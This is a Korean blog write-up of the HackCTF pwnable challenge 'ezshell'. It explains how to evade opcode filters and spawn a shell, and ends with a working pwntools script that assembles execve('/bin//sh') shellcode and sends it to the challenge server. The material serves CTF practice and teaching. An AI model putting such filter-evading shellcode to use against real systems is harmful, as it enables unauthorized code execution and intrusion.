본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) ezshell 풀이

by snwo 2021. 10. 5.

ezshell

힙공부를 미뤄둬서, hackctf 남은문제가 다 힙인줄알고 안풀었는데,

재밌는 쉘코딩문제도 있어서 풀어봐따.

저 쉘코드 50바이트 뒤에 내가 입력한 쉘코드를 strcat 으로 붙여서, xor 부터 실행해준다.

필터링하는 opcode 는 다음과 같다

  • \xb0 → mov r8, imm8
  • \x3b → execve call number
  • \x0f05 → syscall

syscall 필터링하는거는 syscall opcode 가 주어지니, jmp $- ~~ 으로 syscall 을 실행시킬 수 있다.

al 에 mov 를 통해 값을 넣을 수 없으니, push/pop → inc 으로 우회할 수 있다.

하지만 rsp 를 0 으로 만드니 push/pop 을 사용할 수 없게된다.

fs 세그먼트를 이용하면, rsp 에 rw 가능한 주소를 넣을 수 있는데,

fs:0x0 은 fs 자신의 주소를 가리킨다고 한다. TLS 어쩌구 하던데, 나중에 알아봐야겠다.

 

mov rsp,QWORD PTR fs:[rsp] 명령어의 결과이다. (null 을 필터링하니, null 값 가진 레지스터인 rsp 를 넣어줬다.)

이제 나머지 쉘코드를 짜보장.

 

rsi, rdx 를 초기화해주니 rdi 만 설정하면 된다.

movaps 를 통해, rdi 에 /bin//sh 의 hex 역순 (문자열은 낮은바이트부터 읽음) 넣고,

push rsp; pop rdi 를 통해 /bin//sh 문자열의 주소를 가리키게한다.

 

그리고 점프하면 됨

(/bni//sh 를 쓰는 이유는,null 없이 8바이트를 맞춰줘야하기 때문)

fs:[0] 에 이상한값들이 있으니, /bin//sh 문자열 뒤에 이상한 바이트가 붙어서,

rsp 를 가져온 후, 아무거나 0바이트인거 push 해주면 된다.

 

jmp 는 상대주소로 이동한다.

jmp 이전까지 opcode 의 size 는 앞에붙여주는쉘코드 50 + 25 = 75 이므로

jmp $-75 로 해주면 syscall 을 가리키게된다.

from pwn import *

# r=process("./ezshell")
r=remote("ctf.j0n9hyun.xyz", 3036)
context.arch='amd64'

sc="mov rsp,QWORD PTR fs:[rsp];"
sc+="push r15;"
sc+="mov rdi,0x68732f2f6e69622f;"
sc+="push rdi;"
sc+="push rsp;"
sc+="pop rdi;"
sc+="add al, 0x3a;"
sc+="inc rax;"
sc+="jmp $-75"
sc=asm(sc)
print(len(sc))
print(sc)
pause()

r.send(sc.ljust(30,b'\x90'))
r.interactive()